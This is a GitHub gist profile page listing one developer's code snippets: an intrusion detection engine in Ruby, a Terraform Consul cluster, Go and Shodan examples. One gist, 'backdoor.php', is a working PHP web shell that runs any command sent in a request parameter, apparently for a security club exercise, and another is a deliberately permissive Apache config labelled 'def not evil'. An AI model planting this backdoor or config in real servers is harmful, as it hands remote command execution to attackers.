Skip to content

Instantly share code, notes, and snippets.

View picatz's full-sized avatar
Graph Theory

Kent Gruber picatz

Graph Theory
View GitHub Profile
@picatz
picatz / ids.rb
Last active August 5, 2023 10:00
Simple intrusion detection system engine
require "packetgen"
class IDS
def initialize(interface: PacketGen.default_iface, &block)
@rules = {}
instance_eval &block
PacketGen.capture(iface: interface) do |packet|
@rules.each do |header, blocks|
next unless packet.is? header
blocks.each do |block|
@picatz
picatz / consul_dev_server_cluster_with_terraform_and_docker.tf
Created January 6, 2019 16:36
A consul development server example using terraform and docker.
# Find consul image.
resource "docker_image" "consul" {
name = "consul"
}
# Basically doing the following command:
# docker run -d --name=consul-server-1 -p 8500:8500 consul agent -dev -client=0.0.0.0 -bind=0.0.0.0
resource "docker_container" "consul-bootstrap-server" {
count = 1
name = "consul-server-1"
@picatz
picatz / backdoor.php
Created October 24, 2018 19:07
for IASA club example
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
@picatz
picatz / apach2.conf
Created October 24, 2018 18:23
def not evil
<VirtualHost *:80>
<Directory />
Options Indexes FollowSymLinks Includes ExecCGI
AllowOverride All
Require all granted
Allow from all
</Directory>
<Files "*">
order deny,allow
<!DOCTYPE html>
<html>
<script src="https://cdn.rawgit.com/picatz/builderJS/8ca588fc/src/builder.js"></script>
</html>
<script>
// instantiate a new builder
var b = new Builder();
// getTime() is a simple function to return the current
package main
import (
"fmt"
"github.com/subfinder/research/core"
"github.com/subfinder/research/core/sources"
)
func main() {
#!/usr/bin/env ruby
require "shodanz"
# create a shodanz client
client = Shodanz.client.new
# scan a host
result = client.rest_api.scan("8.8.8.8")
# save the scan result as json to a file
package main
import (
"fmt"
"log"
"net/http"
"time"
)
func newProducer(readTimeout time.Duration, products ...string) <-chan string {
func newProducer(readTimeout time.Duration, products ...string) <-chan string {
results := make(chan string)
go func() {
defer close(results)
for _, product := range products {
select {
case results <- product:
// didn't time out
case <-time.After(readTimeout):
return
package main
import (
"fmt"
"log"
"net/http"
grmon "github.com/bcicen/grmon/agent"
)